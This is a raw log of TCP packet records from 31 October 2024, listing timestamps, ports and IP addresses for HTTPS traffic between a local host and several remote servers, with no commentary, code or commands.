Oct 31, 2024 21:55:08.664969921 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.664969921 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.664997101 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.665150881 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.665210962 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.665215969 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.665224075 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.665244102 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.667073965 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.667263985 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.667275906 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.672959089 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.676182032 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.676188946 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.676475048 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.679330111 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.679380894 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.725166082 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.816932917 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.816986084 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.817082882 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.817528009 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.817548990 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.872124910 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.872214079 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.876072884 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.876214027 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.876226902 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.068300009 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.068530083 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.068542004 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.069406986 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.069477081 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.069742918 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.069792986 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.069873095 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.069879055 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.099632978 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.099852085 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.099872112 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.100712061 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.100778103 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.101041079 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.101082087 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.123138905 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.123181105 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.123265028 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.123301983 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.123351097 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.123367071 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.123398066 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.123441935 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.123450041 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.123490095 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.123780966 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.127923965 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.127996922 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.128065109 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.128071070 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.130079985 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.145831108 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.145884991 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.145950079 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.146131039 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.146148920 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.154134035 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.154141903 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.161895990 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.161916971 CET	443	53722	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.161982059 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.162213087 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.162224054 CET	443	53722	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.202224970 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.241769075 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.241832972 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.241858959 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.241918087 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.241935015 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.242197037 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.242228985 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.242288113 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.242317915 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.242338896 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.242343903 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.242543936 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.242961884 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243019104 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243045092 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243067980 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243096113 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.243103027 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243128061 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.243828058 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243860960 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243885040 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243885994 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.243894100 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243927956 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243943930 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.243949890 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.243958950 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.282382965 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.283776999 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.283787966 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.304630041 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.304877996 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.304894924 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.305174112 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.305459023 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.305510044 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.306526899 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.329159021 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.360162020 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.360163927 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.360397100 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.360447884 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.360474110 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.360527039 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.360534906 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.360546112 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.360594988 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.360655069 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.360665083 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.365129948 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.365144968 CET	443	53723	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.365216970 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.366019011 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.366044044 CET	443	53724	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.366115093 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.366470098 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.366480112 CET	443	53723	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.366816044 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.366858006 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.366964102 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.367135048 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.367146015 CET	443	53724	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.367470980 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.367512941 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.367777109 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.367793083 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.392390013 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.392400026 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.392477036 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.393338919 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.393347979 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.424124956 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.424134016 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.424185991 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.424201965 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.424221039 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.424223900 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.424235106 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.424251080 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.424272060 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.424292088 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.425564051 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.425571918 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.425595045 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.425635099 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.425642014 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.425652981 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.427018881 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.704485893 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.704499960 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.704549074 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.704617023 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.704627037 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.704652071 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.704670906 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.704902887 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.704916954 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.704963923 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.704968929 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.705001116 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.705416918 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.705430984 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.705483913 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.705487967 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.705519915 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.705881119 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.705920935 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.705955029 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.705964088 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.706017971 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:09.706027031 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:09.706047058 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.706084967 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.706881046 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.706891060 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.709929943 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.710028887 CET	443	53727	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.710134029 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.710402012 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.710433960 CET	443	53727	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.778179884 CET	443	53722	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.778424978 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.778436899 CET	443	53722	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.779282093 CET	443	53722	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.779352903 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.779625893 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.779637098 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.779664993 CET	443	53722	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.779683113 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.779711008 CET	53722	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.779946089 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.779973030 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.780040979 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.780383110 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.780390978 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.885360956 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.885641098 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.885663986 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.886552095 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.886616945 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.887542009 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.887615919 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.934146881 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.934158087 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:09.979020119 CET	443	53723	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.979289055 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.979306936 CET	443	53723	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.980184078 CET	443	53723	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.980242968 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.980597973 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.980611086 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.980648041 CET	443	53723	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.980659962 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.980686903 CET	53723	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.980952978 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.980993032 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.981067896 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.981137991 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:09.981287003 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:09.981298923 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:09.996061087 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.996299982 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.996324062 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.996772051 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.997050047 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.997112036 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:09.997263908 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:09.997292042 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:10.003680944 CET	443	53724	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.003891945 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.003912926 CET	443	53724	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.004767895 CET	443	53724	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.004827023 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005124092 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005141973 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005177975 CET	443	53724	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.005187988 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005218029 CET	53724	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005527020 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005558014 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.005615950 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005862951 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.005871058 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.039220095 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.039459944 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.039467096 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.040488958 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.040558100 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.041439056 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.041496038 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.041603088 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.041606903 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.093132019 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.341527939 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:10.341593027 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:10.341650009 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:10.342072964 CET	53725	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:10.342097998 CET	443	53725	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:10.344645023 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.344677925 CET	443	53731	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.344760895 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.345035076 CET	53731	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.345050097 CET	443	53731	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.382493973 CET	443	53727	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.382776022 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.382858992 CET	443	53727	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.383744001 CET	443	53727	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.383820057 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384118080 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384154081 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384187937 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384224892 CET	443	53727	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.384284019 CET	53727	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384449959 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384488106 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.384561062 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384735107 CET	53732	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.384749889 CET	443	53732	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.414798975 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.415007114 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.415028095 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.415900946 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.415971041 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.416891098 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.416946888 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.417052031 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.417057991 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.446423054 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.446474075 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.446496964 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.446528912 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.446542978 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.446556091 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.446594000 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.447880983 CET	53726	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.447892904 CET	443	53726	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.457175970 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.615242004 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.615514040 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.615525961 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.616399050 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.616465092 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.616806984 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.616856098 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.616966963 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.616971970 CET	443	53730	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.648144007 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.648396015 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.648422956 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.649288893 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.649353981 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.649676085 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.649733067 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.649858952 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.649868965 CET	443	53729	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.665164948 CET	53730	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.697160006 CET	53729	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.709907055 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.709999084 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.710052013 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.710627079 CET	53728	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:10.710637093 CET	443	53728	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:10.713059902 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:10.713077068 CET	443	53733	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:10.713172913 CET	53733	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:10.713399887 CET	53733	443	192.168.2.16	152.199.21.175
